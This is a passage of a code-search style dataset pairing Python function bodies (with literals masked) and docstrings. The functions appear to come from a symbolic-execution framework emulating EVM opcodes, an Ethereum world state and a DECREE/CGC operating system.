{"signature": "def SLOAD(self, offset):", "body": "storage_address = self.address<EOL>self._publish('<STR_LIT>', storage_address, offset)<EOL>value = self.world.get_storage_data(storage_address, offset)<EOL>self._publish('<STR_LIT>', storage_address, offset, value)<EOL>return value<EOL>", "docstring": "Load word from storage", "id": "f17019:c16:m102"}
{"signature": "def SSTORE(self, offset, value):", "body": "storage_address = self.address<EOL>self._publish('<STR_LIT>', storage_address, offset, value)<EOL>if istainted(self.pc):<EOL><INDENT>for taint in get_taints(self.pc):<EOL><INDENT>value = taint_with(value, taint)<EOL><DEDENT><DEDENT>self.world.set_storage_data(storage_address, offset, value)<EOL>self._publish('<STR_LIT>', storage_address, offset, value)<EOL>", "docstring": "Save word to storage", "id": "f17019:c16:m104"}
{"signature": "def JUMP(self, dest):", "body": "self.pc = dest<EOL>self._set_check_jmpdest()<EOL>", "docstring": "Alter the program counter", "id": "f17019:c16:m105"}
{"signature": "def JUMPI(self, dest, cond):", "body": "self.pc = Operators.ITEBV(<NUM_LIT>, cond != <NUM_LIT:0>, dest, self.pc + self.instruction.size)<EOL>self._set_check_jmpdest(cond != <NUM_LIT:0>)<EOL>", "docstring": "Conditionally alter the program counter", "id": "f17019:c16:m106"}
{"signature": "def GETPC(self):", "body": "return self.pc<EOL>", "docstring": "Get the value of the program counter prior to the increment", "id": "f17019:c16:m107"}
{"signature": "def MSIZE(self):", "body": "return self._allocated<EOL>", "docstring": "Get the size of active memory in bytes", "id": "f17019:c16:m108"}
{"signature": "def GAS(self):", "body": "<EOL>return Operators.EXTRACT(self._gas, <NUM_LIT:0>, <NUM_LIT>)<EOL>", "docstring": "Get the amount of available gas, including the corresponding reduction the amount of available gas", "id": "f17019:c16:m109"}
{"signature": "def JUMPDEST(self):", "body": "", "docstring": "Mark a valid destination for jumps", "id": "f17019:c16:m110"}
{"signature": "def PUSH(self, value):", "body": "return value<EOL>", "docstring": "Place 1 to 32 bytes item on stack", "id": "f17019:c16:m111"}
{"signature": "def DUP(self, *operands):", "body": "return (operands[-<NUM_LIT:1>],) + operands<EOL>", "docstring": "Duplicate stack item", "id": "f17019:c16:m112"}
{"signature": "def SWAP(self, *operands):", "body": "a = operands[<NUM_LIT:0>]<EOL>b = operands[-<NUM_LIT:1>]<EOL>return (b,) + operands[<NUM_LIT:1>:-<NUM_LIT:1>] + (a,)<EOL>", "docstring": "Exchange 1st and 2nd stack items", "id": "f17019:c16:m113"}
{"signature": "@transact<EOL><INDENT>def CREATE(self, value, offset, size):<DEDENT>", "body": "address = self.world.create_account(address=EVMWorld.calculate_new_address(sender=self.address, nonce=self.world.get_nonce(self.address)))<EOL>self.world.start_transaction('<STR_LIT>',<EOL>address,<EOL>data=self.read_buffer(offset, size),<EOL>caller=self.address,<EOL>value=value,<EOL>gas=self.gas)<EOL>raise StartTx()<EOL>", "docstring": "Create a new account with associated code", "id": "f17019:c16:m117"}
{"signature": "@CREATE.pos<EOL><INDENT>def CREATE(self, value, offset, size):<DEDENT>", "body": "tx = self.world.last_transaction  <EOL>address = tx.address<EOL>if tx.result == '<STR_LIT>':<EOL><INDENT>self.world.set_code(tx.address, tx.return_data)<EOL><DEDENT>else:<EOL><INDENT>self.world.delete_account(address)<EOL>address = <NUM_LIT:0><EOL><DEDENT>return address<EOL>", "docstring": "Create a new account with associated code", "id": "f17019:c16:m118"}
{"signature": "@transact<EOL><INDENT>@concretized_args(address='<STR_LIT>', gas='<STR_LIT>', in_offset='<STR_LIT>', in_size='<STR_LIT>')<EOL>def CALL(self, gas, address, value, in_offset, in_size, out_offset, out_size):<DEDENT>", "body": "self.world.start_transaction('<STR_LIT>',<EOL>address,<EOL>data=self.read_buffer(in_offset, in_size),<EOL>caller=self.address,<EOL>value=value,<EOL>gas=gas)<EOL>raise StartTx()<EOL>", "docstring": "Message-call into an account", "id": "f17019:c16:m120"}
{"signature": "@transact<EOL><INDENT>@concretized_args(in_offset='<STR_LIT>', in_size='<STR_LIT>')<EOL>def CALLCODE(self, gas, _ignored_, value, in_offset, in_size, out_offset, out_size):<DEDENT>", "body": "self.world.start_transaction('<STR_LIT>',<EOL>address=self.address,<EOL>data=self.read_buffer(in_offset, in_size),<EOL>caller=self.address,<EOL>value=value,<EOL>gas=gas)<EOL>raise StartTx()<EOL>", "docstring": "Message-call into this account with alternative account's code", "id": "f17019:c16:m123"}
{"signature": "@concretized_args(size='<STR_LIT>')<EOL><INDENT>def RETURN(self, offset, size):<DEDENT>", "body": "data = self.read_buffer(offset, size)<EOL>raise EndTx('<STR_LIT>', data)<EOL>", "docstring": "Halt execution returning output data", "id": "f17019:c16:m126"}
{"signature": "@transact<EOL><INDENT>@concretized_args(in_offset='<STR_LIT>', in_size='<STR_LIT>')<EOL>def DELEGATECALL(self, gas, address, in_offset, in_size, out_offset, out_size):<DEDENT>", "body": "self.world.start_transaction('<STR_LIT>',<EOL>address,<EOL>data=self.read_buffer(in_offset, in_size),<EOL>caller=self.address,<EOL>value=<NUM_LIT:0>,<EOL>gas=gas)<EOL>raise StartTx()<EOL>", "docstring": "Message-call into an account", "id": "f17019:c16:m128"}
{"signature": "@transact<EOL><INDENT>@concretized_args(in_offset='<STR_LIT>', in_size='<STR_LIT>')<EOL>def STATICCALL(self, gas, address, in_offset, in_size, out_offset, out_size):<DEDENT>", "body": "self.world.start_transaction('<STR_LIT>',<EOL>address,<EOL>data=self.read_buffer(in_offset, in_size),<EOL>caller=self.address,<EOL>value=<NUM_LIT:0>,<EOL>gas=gas)<EOL>raise StartTx()<EOL>", "docstring": "Message-call into an account", "id": "f17019:c16:m131"}
{"signature": "def SELFDESTRUCT(self, recipient):", "body": "<EOL>recipient = Operators.EXTRACT(recipient, <NUM_LIT:0>, <NUM_LIT>)<EOL>address = self.address<EOL>if issymbolic(recipient):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>recipient = solver.get_value(self.constraints, recipient)<EOL><DEDENT>if recipient not in self.world:<EOL><INDENT>self.world.create_account(address=recipient)<EOL><DEDENT>self.world.send_funds(address, recipient, self.world.get_balance(address))<EOL>self.world.delete_account(address)<EOL>raise EndTx('<STR_LIT>')<EOL>", "docstring": "Halt execution and register account for later deletion", "id": "f17019:c16:m136"}
{"signature": "@property<EOL><INDENT>def transactions(self):<DEDENT>", "body": "return tuple((tx for tx in self._transactions if tx.result != '<STR_LIT>'))<EOL>", "docstring": "Completed completed transaction", "id": "f17019:c17:m12"}
{"signature": "@property<EOL><INDENT>def human_transactions(self):<DEDENT>", "body": "txs = []<EOL>for tx in self.transactions:<EOL><INDENT>if tx.depth == <NUM_LIT:0>:<EOL><INDENT>txs.append(tx)<EOL><DEDENT><DEDENT>return tuple(txs)<EOL>", "docstring": "Completed human transaction", "id": "f17019:c17:m13"}
{"signature": "@property<EOL><INDENT>def last_transaction(self):<DEDENT>", "body": "if len(self.transactions):<EOL><INDENT>return self.transactions[-<NUM_LIT:1>]<EOL><DEDENT>return None<EOL>", "docstring": "Last completed transaction", "id": "f17019:c17:m14"}
{"signature": "@property<EOL><INDENT>def last_human_transaction(self):<DEDENT>", "body": "for tx in reversed(self.transactions):<EOL><INDENT>if tx.depth == <NUM_LIT:0>:<EOL><INDENT>return tx<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Last completed human transaction", "id": "f17019:c17:m15"}
{"signature": "@property<EOL><INDENT>def current_vm(self):<DEDENT>", "body": "try:<EOL><INDENT>_, _, _, _, vm = self._callstack[-<NUM_LIT:1>]<EOL>return vm<EOL><DEDENT>except IndexError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "current vm", "id": "f17019:c17:m17"}
{"signature": "@property<EOL><INDENT>def current_transaction(self):<DEDENT>", "body": "try:<EOL><INDENT>tx, _, _, _, _ = self._callstack[-<NUM_LIT:1>]<EOL>if tx.result is not None:<EOL><INDENT>return None<EOL><DEDENT>return tx<EOL><DEDENT>except IndexError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "current tx", "id": "f17019:c17:m18"}
{"signature": "@property<EOL><INDENT>def current_human_transaction(self):<DEDENT>", "body": "try:<EOL><INDENT>tx, _, _, _, _ = self._callstack[<NUM_LIT:0>]<EOL>if tx.result is not None:<EOL><INDENT>return None<EOL><DEDENT>assert tx.depth == <NUM_LIT:0><EOL>return tx<EOL><DEDENT>except IndexError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Current ongoing human transaction", "id": "f17019:c17:m19"}
{"signature": "def get_storage_data(self, storage_address, offset):", "body": "value = self._world_state[storage_address]['<STR_LIT>'].get(offset, <NUM_LIT:0>)<EOL>return simplify(value)<EOL>", "docstring": "Read a value from a storage slot on the specified account\n\n:param storage_address: an account address\n:param offset: the storage slot to use.\n:type offset: int or BitVec\n:return: the value\n:rtype: int or BitVec", "id": "f17019:c17:m25"}
{"signature": "def set_storage_data(self, storage_address, offset, value):", "body": "self._world_state[storage_address]['<STR_LIT>'][offset] = value<EOL>", "docstring": "Writes a value to a storage slot in specified account\n\n:param storage_address: an account address\n:param offset: the storage slot to use.\n:type offset: int or BitVec\n:param value: the value to write\n:type value: int or BitVec", "id": "f17019:c17:m26"}
{"signature": "def get_storage_items(self, address):", "body": "storage = self._world_state[address]['<STR_LIT>']<EOL>items = []<EOL>array = storage.array<EOL>while not isinstance(array, ArrayVariable):<EOL><INDENT>items.append((array.index, array.value))<EOL>array = array.array<EOL><DEDENT>return items<EOL>", "docstring": "Gets all items in an account storage\n\n:param address: account address\n:return: all items in account storage. items are tuple of (index, value). value can be symbolic\n:rtype: list[(storage_index, storage_value)]", "id": "f17019:c17:m27"}
{"signature": "def has_storage(self, address):", "body": "storage = self._world_state[address]['<STR_LIT>']<EOL>array = storage.array<EOL>while not isinstance(array, ArrayVariable):<EOL><INDENT>if isinstance(array, ArrayStore):<EOL><INDENT>return True<EOL><DEDENT>array = array.array<EOL><DEDENT>return False<EOL>", "docstring": "True if something has been written to the storage.\nNote that if a slot has been erased from the storage this function may\nlose any meaning.", "id": "f17019:c17:m28"}
{"signature": "def get_storage(self, address):", "body": "return self._world_state[address]['<STR_LIT>']<EOL>", "docstring": "Gets the storage of an account\n\n:param address: account address\n:return: account storage\n:rtype: bytearray or ArrayProxy", "id": "f17019:c17:m29"}
{"signature": "def _set_storage(self, address, storage):", "body": "self._world_state[address]['<STR_LIT>'] = storage<EOL>", "docstring": "Private auxiliary function to replace the storage", "id": "f17019:c17:m30"}
{"signature": "def block_hash(self, block_number=None, force_recent=True):", "body": "if block_number is None:<EOL><INDENT>block_number = self.block_number() - <NUM_LIT:1><EOL><DEDENT>value = sha3.keccak_256((repr(block_number) + '<STR_LIT>').encode()).hexdigest()<EOL>value = int(value, <NUM_LIT:16>)<EOL>if force_recent:<EOL><INDENT>bnmax = Operators.ITEBV(<NUM_LIT>, self.block_number() > <NUM_LIT>, <NUM_LIT>, self.block_number())<EOL>value = Operators.ITEBV(<NUM_LIT>, Operators.OR(block_number >= self.block_number(), block_number < bnmax), <NUM_LIT:0>, value)<EOL><DEDENT>return value<EOL>", "docstring": "Calculates a block's hash\n:param block_number: the block number for which to calculate the hash, defaulting to the most recent block\n:param force_recent: if True (the default) return zero for any block that is in the future or older than 256 blocks\n:return: the block hash", "id": "f17019:c17:m50"}
{"signature": "def new_address(self, sender=None, nonce=None):", "body": "if sender is not None and nonce is None:<EOL><INDENT>nonce = self.get_nonce(sender)<EOL><DEDENT>new_address = self.calculate_new_address(sender, nonce)<EOL>if sender is None and new_address in self:<EOL><INDENT>return self.new_address(sender, nonce)<EOL><DEDENT>return new_address<EOL>", "docstring": "Create a fresh 160bit address", "id": "f17019:c17:m54"}
{"signature": "def create_account(self, address=None, balance=<NUM_LIT:0>, code=None, storage=None, nonce=None):", "body": "if code is None:<EOL><INDENT>code = bytes()<EOL><DEDENT>else:<EOL><INDENT>if not isinstance(code, (bytes, Array)):<EOL><INDENT>raise EthereumError('<STR_LIT>')<EOL><DEDENT><DEDENT>if nonce is None:<EOL><INDENT>nonce = <NUM_LIT:1> if code else <NUM_LIT:0><EOL><DEDENT>if address is None:<EOL><INDENT>address = self.new_address()<EOL><DEDENT>if not isinstance(address, int):<EOL><INDENT>raise EthereumError('<STR_LIT>')<EOL><DEDENT>if address in self.accounts:<EOL><INDENT>raise EthereumError('<STR_LIT>')<EOL><DEDENT>if storage is None:<EOL><INDENT>storage = self.constraints.new_array(index_bits=<NUM_LIT>, value_bits=<NUM_LIT>, name=f'<STR_LIT>', avoid_collisions=True, default=<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>if isinstance(storage, ArrayProxy):<EOL><INDENT>if storage.index_bits != <NUM_LIT> or storage.value_bits != <NUM_LIT>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if any((k < <NUM_LIT:0> or k >= <NUM_LIT:1> << <NUM_LIT> for k, v in storage.items())):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>self._world_state[address] = {}<EOL>self._world_state[address]['<STR_LIT>'] = nonce<EOL>self._world_state[address]['<STR_LIT>'] = balance<EOL>self._world_state[address]['<STR_LIT>'] = storage<EOL>self._world_state[address]['<STR_LIT:code>'] = code<EOL>data = binascii.unhexlify('<STR_LIT>'.format(address, <NUM_LIT:0>))<EOL>value = sha3.keccak_256(data).hexdigest()<EOL>value = int(value, <NUM_LIT:16>)<EOL>self._publish('<STR_LIT>', data, value)<EOL>return address<EOL>", "docstring": "Low level account creation. No transaction is done.\n:param address: the address of the account, if known. If omitted, a new address will be generated as closely to the Yellow Paper as possible.\n:param balance: the initial balance of the account in Wei\n:param code: the runtime code of the account, if a contract\n:param storage: storage array\n:param nonce: the nonce for the account; contracts should have a nonce greater than or equal to 1", "id": "f17019:c17:m57"}
{"signature": "def create_contract(self, price=<NUM_LIT:0>, address=None, caller=None, balance=<NUM_LIT:0>, init=None, gas=None):", "body": "expected_address = self.create_account(self.new_address(sender=caller))<EOL>if address is None:<EOL><INDENT>address = expected_address<EOL><DEDENT>elif caller is not None and address != expected_address:<EOL><INDENT>raise EthereumError(f\"<STR_LIT>\")<EOL><DEDENT>self.start_transaction('<STR_LIT>', address, price, init, caller, balance, gas=gas)<EOL>self._process_pending_transaction()<EOL>return address<EOL>", "docstring": "Create a contract account. Sends a transaction to initialize the contract\n\n:param address: the address of the new account, if known. If omitted, a new address will be generated as closely to the Yellow Paper as possible.\n:param balance: the initial balance of the account in Wei\n:param init: the initialization code of the contract\n\nThe way that the Solidity compiler expects the constructor arguments to\nbe passed is by appending the arguments to the byte code produced by the\nSolidity compiler. The arguments are formatted as defined in the Ethereum\nABI2. The arguments are then copied from the init byte array to the EVM\nmemory through the CODECOPY opcode with appropriate values on the stack.\nThis is done when the byte code in the init byte array is actually run\non the network.", "id": "f17019:c17:m58"}
{"signature": "def start_transaction(self, sort, address, price=None, data=None, caller=None, value=<NUM_LIT:0>, gas=<NUM_LIT>):", "body": "assert self._pending_transaction is None, \"<STR_LIT>\"<EOL>self._pending_transaction = PendingTransaction(sort, address, price, data, caller, value, gas)<EOL>", "docstring": "Initiate a transaction\n:param sort: the type of transaction. CREATE or CALL or DELEGATECALL\n:param address: the address of the account which owns the code that is executing.\n:param price: the price of gas in the transaction that originated this execution.\n:param data: the byte array that is the input data to this execution\n:param caller: the address of the account which caused the code to be executing. A 160-bit code used for identifying Accounts\n:param value: the value, in Wei, passed to this account as part of the same procedure as execution. One Ether is defined as being 10**18 Wei.\n:param bytecode: the byte array that is the machine code to be executed.\n:param gas: gas budget for this transaction.", "id": "f17019:c17:m60"}
{"signature": "def __init__(self, programs, **kwargs):", "body": "programs = programs.split(\"<STR_LIT:U+002C>\")<EOL>super().__init__(path=programs[<NUM_LIT:0>], **kwargs)<EOL>self.program = programs[<NUM_LIT:0>]<EOL>self.clocks = <NUM_LIT:0><EOL>self.files = []<EOL>self.syscall_trace = []<EOL>self.files = []<EOL>logger.info(\"<STR_LIT>\")<EOL>self.input = Socket()<EOL>self.output = Socket()<EOL>stdin = Socket()<EOL>stdout = Socket()<EOL>stderr = Socket()<EOL>stdin.peer = self.output<EOL>stdout.peer = self.output<EOL>stderr.peer = self.output<EOL>self.input.peer = stdin<EOL>assert self._open(stdin) == <NUM_LIT:0><EOL>assert self._open(stdout) == <NUM_LIT:1><EOL>assert self._open(stderr) == <NUM_LIT:2><EOL>self.procs = []<EOL>for program in programs:<EOL><INDENT>self.procs += self.load(program)<EOL>socka, sockb = Socket.pair()<EOL>self._open(socka)<EOL>self._open(sockb)<EOL><DEDENT>nprocs = len(self.procs)<EOL>nfiles = len(self.files)<EOL>assert nprocs > <NUM_LIT:0><EOL>self.running = list(range(nprocs))<EOL>self._current = <NUM_LIT:0><EOL>self.timers = [None] * nprocs<EOL>self.rwait = [set() for _ in range(nfiles)]<EOL>self.twait = [set() for _ in range(nfiles)]<EOL>for proc in self.procs:<EOL><INDENT>self.forward_events_from(proc)<EOL><DEDENT>", "docstring": "Builds a Decree OS\n:param cpus: CPU for this platform\n:param mem: memory for this platform\n:todo: generalize for more CPUs\n:todo: fix deps?", "id": "f17020:c4:m0"}
{"signature": "def __setstate__(self, state):", "body": "super().__setstate__(state)<EOL>self.input = Socket()<EOL>self.input.buffer = state['<STR_LIT:input>']<EOL>self.output = Socket()<EOL>self.output.buffer = state['<STR_LIT>']<EOL>self.files = []<EOL>for buf in state['<STR_LIT>']:<EOL><INDENT>f = Socket()<EOL>f.buffer = buf<EOL>self.files.append(f)<EOL><DEDENT>for fd in range(len(self.files)):<EOL><INDENT>if self.connections(fd) is not None:<EOL><INDENT>self.files[fd].peer = self.files[self.connections(fd)]<EOL><DEDENT><DEDENT>self.files[<NUM_LIT:0>].peer = self.output<EOL>self.files[<NUM_LIT:1>].peer = self.output<EOL>self.files[<NUM_LIT:2>].peer = self.output<EOL>self.input.peer = self.files[<NUM_LIT:0>]<EOL>self.procs = state['<STR_LIT>']<EOL>self._current = state['<STR_LIT>']<EOL>self.running = state['<STR_LIT>']<EOL>self.rwait = state['<STR_LIT>']<EOL>self.twait = state['<STR_LIT>']<EOL>self.timers = state['<STR_LIT>']<EOL>self.clocks = state['<STR_LIT>']<EOL>self.syscall_trace = state['<STR_LIT>']<EOL>for proc in self.procs:<EOL><INDENT>self.forward_events_from(proc)<EOL><DEDENT>", "docstring": ":todo: some asserts\n:todo: fix deps? (last line)", "id": "f17020:c4:m6"}
{"signature": "def _read_string(self, cpu, buf):", "body": "filename = \"<STR_LIT>\"<EOL>for i in range(<NUM_LIT:0>, <NUM_LIT>):<EOL><INDENT>c = Operators.CHR(cpu.read_int(buf + i, <NUM_LIT:8>))<EOL>if c == '<STR_LIT:\\x00>':<EOL><INDENT>break<EOL><DEDENT>filename += c<EOL><DEDENT>return filename<EOL>", "docstring": "Reads a null terminated concrete buffer form memory\n:todo: FIX. move to cpu or memory", "id": "f17020:c4:m7"}
{"signature": "def load(self, filename):", "body": "CGC_MIN_PAGE_SIZE = <NUM_LIT><EOL>CGC_MIN_ALIGN = CGC_MIN_PAGE_SIZE<EOL>TASK_SIZE = <NUM_LIT><EOL>def CGC_PAGESTART(_v):<EOL><INDENT>return ((_v) & ~ (CGC_MIN_ALIGN - <NUM_LIT:1>))<EOL><DEDENT>def CGC_PAGEOFFSET(_v):<EOL><INDENT>return ((_v) & (CGC_MIN_ALIGN - <NUM_LIT:1>))<EOL><DEDENT>def CGC_PAGEALIGN(_v):<EOL><INDENT>return (((_v) + CGC_MIN_ALIGN - <NUM_LIT:1>) & ~(CGC_MIN_ALIGN - <NUM_LIT:1>))<EOL><DEDENT>def BAD_ADDR(x):<EOL><INDENT>return ((x) >= TASK_SIZE)<EOL><DEDENT>cgc = CGCElf(filename)<EOL>logger.info(\"<STR_LIT>\" % (filename, cgc.arch))<EOL>cpu = self._mk_proc()<EOL>bss = brk = <NUM_LIT:0><EOL>start_code = <NUM_LIT><EOL>end_code = start_data = end_data = <NUM_LIT:0><EOL>for (vaddr, memsz, perms, name, offset, filesz) in cgc.maps():<EOL><INDENT>if vaddr < start_code:<EOL><INDENT>start_code = vaddr<EOL><DEDENT>if start_data < vaddr:<EOL><INDENT>start_data = vaddr<EOL><DEDENT>if vaddr > TASK_SIZE or filesz > memsz ormemsz > TASK_SIZE or TASK_SIZE - memsz < vaddr:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>addr = None<EOL>if filesz > <NUM_LIT:0>:<EOL><INDENT>hint = CGC_PAGESTART(vaddr)<EOL>size = CGC_PAGEALIGN(filesz + CGC_PAGEOFFSET(vaddr))<EOL>offset = CGC_PAGESTART(offset)<EOL>addr = cpu.memory.mmapFile(hint, size, perms, name, offset)<EOL>assert not BAD_ADDR(addr)<EOL>lo = CGC_PAGEALIGN(vaddr + filesz)<EOL>hi = CGC_PAGEALIGN(vaddr + memsz)<EOL><DEDENT>else:<EOL><INDENT>lo = CGC_PAGESTART(vaddr + filesz)<EOL>hi = CGC_PAGEALIGN(vaddr + memsz)<EOL><DEDENT>if hi - lo > <NUM_LIT:0>:<EOL><INDENT>zaddr = cpu.memory.mmap(lo, hi - lo, perms)<EOL>assert not BAD_ADDR(zaddr)<EOL><DEDENT>lo = vaddr + filesz<EOL>hi = CGC_PAGEALIGN(vaddr + memsz)<EOL>if hi - lo > <NUM_LIT:0>:<EOL><INDENT>old_perms = cpu.memory.perms(lo)<EOL>cpu.memory.mprotect(lo, hi - lo, '<STR_LIT>')<EOL>try:<EOL><INDENT>cpu.memory[lo:hi] = '<STR_LIT:\\x00>' * (hi - lo)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\" % str(e))<EOL><DEDENT>cpu.memory.mprotect(lo, hi, old_perms)<EOL><DEDENT>if addr is None:<EOL><INDENT>addr = zaddr<EOL><DEDENT>assert addr is not None<EOL>k = vaddr + filesz<EOL>if k > bss:<EOL><INDENT>bss = k<EOL><DEDENT>if '<STR_LIT:x>' in perms and end_code < k:<EOL><INDENT>end_code = k<EOL><DEDENT>if end_data < k:<EOL><INDENT>end_data = k<EOL><DEDENT>k = vaddr + memsz<EOL>if k > brk:<EOL><INDENT>brk = k<EOL><DEDENT><DEDENT>bss = brk<EOL>stack_base = <NUM_LIT><EOL>stack_size = <NUM_LIT><EOL>stack = cpu.memory.mmap(<NUM_LIT> - stack_size, stack_size, '<STR_LIT>') + stack_size - <NUM_LIT:4><EOL>assert (stack_base) in cpu.memory and (stack_base - stack_size + <NUM_LIT:4>) in cpu.memory<EOL>status, thread = next(cgc.threads())<EOL>assert status == '<STR_LIT>'<EOL>logger.info(\"<STR_LIT>\")<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.write_register('<STR_LIT>', cpu.memory.mmap(CGC_PAGESTART(<NUM_LIT>),<EOL>CGC_PAGEALIGN(<NUM_LIT> + CGC_PAGEOFFSET(<NUM_LIT>)),<EOL>'<STR_LIT>'))<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.write_register('<STR_LIT>', stack)<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.write_register('<STR_LIT>', thread['<STR_LIT>'])<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.write_register('<STR_LIT>', <NUM_LIT>)<EOL>cpu.memory.mmap(<NUM_LIT>, <NUM_LIT>, '<STR_LIT:r>')<EOL>logger.info(\"<STR_LIT>\", cpu.EIP)<EOL>logger.info(\"<STR_LIT>\", cpu.ESP)<EOL>logger.info(\"<STR_LIT>\", brk)<EOL>logger.info(\"<STR_LIT>\")<EOL>for m in str(cpu.memory).split('<STR_LIT:\\n>'):<EOL><INDENT>logger.info(\"<STR_LIT>\", m)<EOL><DEDENT>return [cpu]<EOL>", "docstring": "Loads a CGC-ELF program in memory and prepares the initial CPU state\nand the stack.\n\n:param filename: pathname of the file to be executed.", "id": "f17020:c4:m8"}
{"signature": "def _close(self, fd):", "body": "self.files[fd] = None<EOL>", "docstring": "Closes a file descriptor\n:rtype: int\n:param fd: the file descriptor to close.\n:return: C{0} on success.", "id": "f17020:c4:m10"}
{"signature": "def _dup(self, fd):", "body": "return self._open(self.files[fd])<EOL>", "docstring": "Duplicates a file descriptor\n:rtype: int\n:param fd: the file descriptor to close.\n:return: C{0} on success.", "id": "f17020:c4:m11"}
{"signature": "def sys_allocate(self, cpu, length, isX, addr):", "body": "<EOL>if addr not in cpu.memory:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return Decree.CGC_EFAULT<EOL><DEDENT>perms = ['<STR_LIT>', '<STR_LIT>'][bool(isX)]<EOL>try:<EOL><INDENT>result = cpu.memory.mmap(None, length, perms)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.info(\"<STR_LIT>\", str(e), length)<EOL>return Decree.CGC_ENOMEM<EOL><DEDENT>cpu.write_int(addr, result, <NUM_LIT:32>)<EOL>logger.info(\"<STR_LIT>\" % (length, perms, addr, result))<EOL>self.syscall_trace.append((\"<STR_LIT>\", -<NUM_LIT:1>, length))<EOL>return <NUM_LIT:0><EOL>", "docstring": "allocate - allocate virtual memory\n\n           The  allocate  system call creates a new allocation in the virtual address\n           space of the calling process.  The length argument specifies the length of\n           the allocation in bytes which will be rounded up to the hardware page size.\n\n           The kernel chooses the address at which to create the allocation; the\n           address of the new allocation is returned in *addr as the result of the call.\n\n           All newly allocated memory is readable and writeable. In addition, the\n           is_X argument is a boolean that allows newly allocated memory to be marked\n           as executable (non-zero) or non-executable (zero).\n\n           The allocate function is invoked through system call number 5.\n\n           :param cpu: current CPU\n           :param length: the length of the allocation in bytes\n           :param isX: boolean that allows newly allocated memory to be marked as executable\n           :param addr: the address of the new allocation is returned in *addr\n\n           :return: On success, allocate returns zero and a pointer to the allocated area\n                               is returned in *addr.  Otherwise, an error code is returned\n                               and *addr is undefined.\n                   EINVAL   length is zero.\n                   EINVAL   length is too large.\n                   EFAULT   addr points to an invalid address.\n                   ENOMEM   No memory is available or the process' maximum number of allocations\n                            would have been exceeded.", "id": "f17020:c4:m13"}
{"signature": "def sys_random(self, cpu, buf, count, rnd_bytes):", "body": "ret = <NUM_LIT:0><EOL>if count != <NUM_LIT:0>:<EOL><INDENT>if count > Decree.CGC_SSIZE_MAX or count < <NUM_LIT:0>:<EOL><INDENT>ret = Decree.CGC_EINVAL<EOL><DEDENT>else:<EOL><INDENT>if buf not in cpu.memory or (buf + count) not in cpu.memory:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return Decree.CGC_EFAULT<EOL><DEDENT>with open(\"<STR_LIT>\", \"<STR_LIT:rb>\") as f:<EOL><INDENT>data = f.read(count)<EOL><DEDENT>self.syscall_trace.append((\"<STR_LIT>\", -<NUM_LIT:1>, data))<EOL>cpu.write_bytes(buf, data)<EOL><DEDENT><DEDENT>if rnd_bytes:<EOL><INDENT>if rnd_bytes not in cpu.memory:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return Decree.CGC_EFAULT<EOL><DEDENT>cpu.write_int(rnd_bytes, len(data), <NUM_LIT:32>)<EOL><DEDENT>logger.info(\"<STR_LIT>\" % (buf, count, rnd_bytes, repr(data[:<NUM_LIT:10>])))<EOL>return ret<EOL>", "docstring": "random - fill a buffer with random data\n\n           The  random  system call populates the buffer referenced by buf with up to\n           count bytes of random data. If count is zero, random returns 0 and optionally\n           sets *rx_bytes to zero. If count is greater than SSIZE_MAX, the result is unspecified.\n\n           :param cpu: current CPU\n           :param buf: a memory buffer\n           :param count: max number of bytes to receive\n           :param rnd_bytes: if valid, points to the actual number of random bytes\n\n           :return:  0        On success\n                     EINVAL   count is invalid.\n                     EFAULT   buf or rnd_bytes points to an invalid address.", "id": "f17020:c4:m14"}
{"signature": "def sys_receive(self, cpu, fd, buf, count, rx_bytes):", "body": "data = '<STR_LIT>'<EOL>if count != <NUM_LIT:0>:<EOL><INDENT>if not self._is_open(fd):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return Decree.CGC_EBADF<EOL><DEDENT>if buf not in cpu.memory:  <EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return Decree.CGC_EFAULT<EOL><DEDENT>if fd > <NUM_LIT:2> and self.files[fd].is_empty():<EOL><INDENT>cpu.PC -= cpu.instruction.size<EOL>self.wait([fd], [], None)<EOL>raise RestartSyscall()<EOL><DEDENT>data = self.files[fd].receive(count)<EOL>self.syscall_trace.append((\"<STR_LIT>\", fd, data))<EOL>cpu.write_bytes(buf, data)<EOL>self.signal_receive(fd)<EOL><DEDENT>if rx_bytes:<EOL><INDENT>if rx_bytes not in cpu.memory:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return Decree.CGC_EFAULT<EOL><DEDENT>cpu.write_int(rx_bytes, len(data), <NUM_LIT:32>)<EOL><DEDENT>logger.info(\"<STR_LIT>\" % (fd, buf, count, rx_bytes, repr(data)[:min(count, <NUM_LIT:10>)], len(data)))<EOL>return <NUM_LIT:0><EOL>", "docstring": "receive - receive bytes from a file descriptor\n\n            The receive system call reads up to count bytes from file descriptor fd to the\n            buffer pointed to by buf. If count is zero, receive returns 0 and optionally\n            sets *rx_bytes to 